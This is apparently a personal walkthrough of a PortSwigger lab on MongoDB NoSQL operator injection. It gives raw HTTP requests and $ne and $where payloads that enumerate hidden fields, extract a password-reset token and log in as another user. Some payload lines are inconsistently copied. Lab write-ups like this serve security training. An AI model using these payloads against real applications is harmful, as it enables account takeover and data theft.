Exploiting NoSQL operator injection to extract unknown fields

https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.

To solve the lab, log in as carlos.

Login request

POST /login HTTP/2
Host: 0adb004c0312d71280e008b6001e001c.web-security-academy.net
Cookie: session=uTdB65G3lSGzeCHwiMbiYhNIkMF4gz3n
Content-Length: 41
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0adb004c0312d71280e008b6001e001c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0adb004c0312d71280e008b6001e001c.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"username":"carlos","password":"abc"}

Testing operator injection

{
"username":"carlos",
"password":{
"$ne": "xyz"
}
}

Operator works but the account is locked.

Testing with "where":"0", returns Invalid username or password

{
"username": "carlos",
"password":{
"$ne": "xyz"
},
"where":"0"
}

Testing with "where":"1", returns Account locked: please reset your password

{
"username": "carlos",
"password":{
"$ne": "xyz"
},
"where":"1"
}

The differences in response shows that $where is being evaluated.

Following payload inspects first object and returns first character.

"$where":"Object.keys(this)[0].match('^.{0}a.*')"
{
"username": "carlos",
"password": {
"$ne": "xyz"
},
"$where":"Object.keys(this)[3].match('^.{0}a.*')"
}

Server response:

  • Valid character: Account locked: please reset your password
  • Invalid character: Invalid username or password
$where":"Object.keys(this)[4].match('^.{0}n.*')"
$where":"Object.keys(this)[4].match('^.{0}ne.*')"
$where":"Object.keys(this)[4].match('^.{0}new.*')"
$where":"Object.keys(this)[4].match('^.{0}newpa.*')"
$where":"Object.keys(this)[4].match('^.{0}newpa.*')"
$where":"Object.keys(this)[4].match('^.{0}newpa.*')"

Fields found:

  • _id: $where":"Object.keys(this)[0].match('^.{0}n.*')"
  • username: $where":"Object.keys(this)[1].match('^.{0}n.*')"
  • password: $where":"Object.keys(this)[2].match('^.{0}n.*')"
  • email: $where":"Object.keys(this)[3].match('^.{0}n.*')"
  • newPwdTkn: $where":"Object.keys(this)[4].match('^.{0}n.*')"

Getting the value of newPwdTkn using Cluster bomb attack

"$where": "this[Object.keys(this)[4]][0] == 'a'"

Result:

newPwdTkn: 3bdad9092c34b301

Use token in forgot password endpoint

GET /forgot-password?newPwdTkn=3bdad9092c34b301 HTTP/2
Host: 0adb004c0312d71280e008b6001e001c.web-security-academy.net
Cookie: session=uTdB65G3lSGzeCHwiMbiYhNIkMF4gz3n
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0adb004c0312d71280e008b6001e001c.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i